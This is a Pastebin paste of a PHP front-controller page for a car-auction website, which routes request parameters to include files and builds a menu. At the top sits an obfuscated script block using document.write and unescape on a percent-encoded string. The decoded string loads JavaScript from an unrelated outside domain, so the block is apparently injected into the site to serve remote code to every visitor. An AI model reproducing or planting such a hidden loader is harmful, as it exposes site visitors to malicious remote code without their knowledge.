Advertisement
Moslem1337

Untitled

Nov 28th, 2022
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.51 KB | None | 0 0
  1. <script>
  2. <!-- code by https://www.html-code-generator.com -->
  3. document.write(unescape('%3C%73%63%72%69%70%74%20%74%79%70%65%3D%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%20%73%72%63%3D%27%2F%2F%63%68%6F%63%6F%6C%61%74%65%62%75%73%68%62%75%6E%6E%79%2E%63%6F%6D%2F%33%66%2F%34%35%2F%36%35%2F%33%66%34%35%36%35%36%38%33%33%35%37%66%37%35%32%38%32%34%33%35%37%33%34%35%37%37%63%37%34%63%36%2E%6A%73%27%3E%3C%2F%73%63%72%69%70%74%3E'))
  4. </script>
  5. <?php
  6. include_once( 'config/main.inc.php' );
  7. include_once( 'config/redirectHandler.php' );
  8. define( 'MEDIA_DIR', 'images/home/' );
  9. $includeLeftMenu = true;
  10.  
  11. $content = 'home.inc.php';
  12. $action = isset($_REQUEST['a'])?$_REQUEST['a']:"";
  13.  
  14. switch( $action )
  15. {
  16. case 'carproof': $content = 'carproof.inc.php'; break;
  17. case 'purchasepolicy': $content = 'purchasepolicy.inc.php'; break;
  18. //case 'carswap': $content = 'carswap.inc.php'; break;
  19. case 'carswap': $content = 'home.inc.php'; break;
  20. case 'onlinebidding':
  21. $content = 'onlinebidding.inc.php';
  22. $includeLeftMenu = false;
  23. break;
  24. case 'holidayhours': $content = 'holidayhours.inc.php'; break;
  25. case 'login': $content = 'login.php'; break;
  26. case 'liveblock':
  27. header( "Location: http://regalauctions.com/index.php?a=onlinebidding" );
  28. break;
  29. default: $content = 'home.inc.php';
  30. }
  31.  
  32. /** LEFT MENU **/
  33. $email = array( 'name' => 'email', 'text' => 'Email Regal', 'href' => 'contactus.php?a=contact&emailId=1&subject=General%20Inquiry%20From%20Home%20Page', 'title' => 'info@regalauctions.ca' );
  34. $subscribe = array( 'name'=> 'subscribe' , 'text' => 'Subscribe to eFlyer', 'href' => 'http://regalauctions.ca/pommo/user/subscribe.php', 'title' => 'Subscribe to our weekly email flyer' );
  35. //$marketreport = array( 'name' => 'marketreport', 'text' => 'Market Report', 'href' => 'currentsale.php?a=marketreport', 'title' => 'Market Report' );
  36.  
  37. if( $includeLeftMenu )
  38. {
  39. $leftMenu = new LeftMenu( 'Home', '' );
  40. $leftMenu->addLink( $email );
  41. $leftMenu->addLink( $subscribe );
  42. //$leftMenu->addLink( $marketreport );
  43. }
  44.  
  45. $title = "Cars for Sale by Auction";
  46. $cTitle = 'Cars for Sale by Auction';
  47.  
  48. ob_start();
  49. include_once( INCLUDE_DIR.'home/'.$content );
  50. $pageContent = ob_get_contents();
  51. ob_end_clean();
  52.  
  53. if( !isset($_REQUEST['contentOnly']) || $_REQUEST['contentOnly'] != 1 )
  54. include_once( INCLUDE_DIR.'top.inc.php' );
  55.  
  56. echo $pageContent;
  57.  
  58. if( !isset($_REQUEST['contentOnly']) || $_REQUEST['contentOnly'] != 1 )
  59. include_once( INCLUDE_DIR.'footer.inc.php' );
  60.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement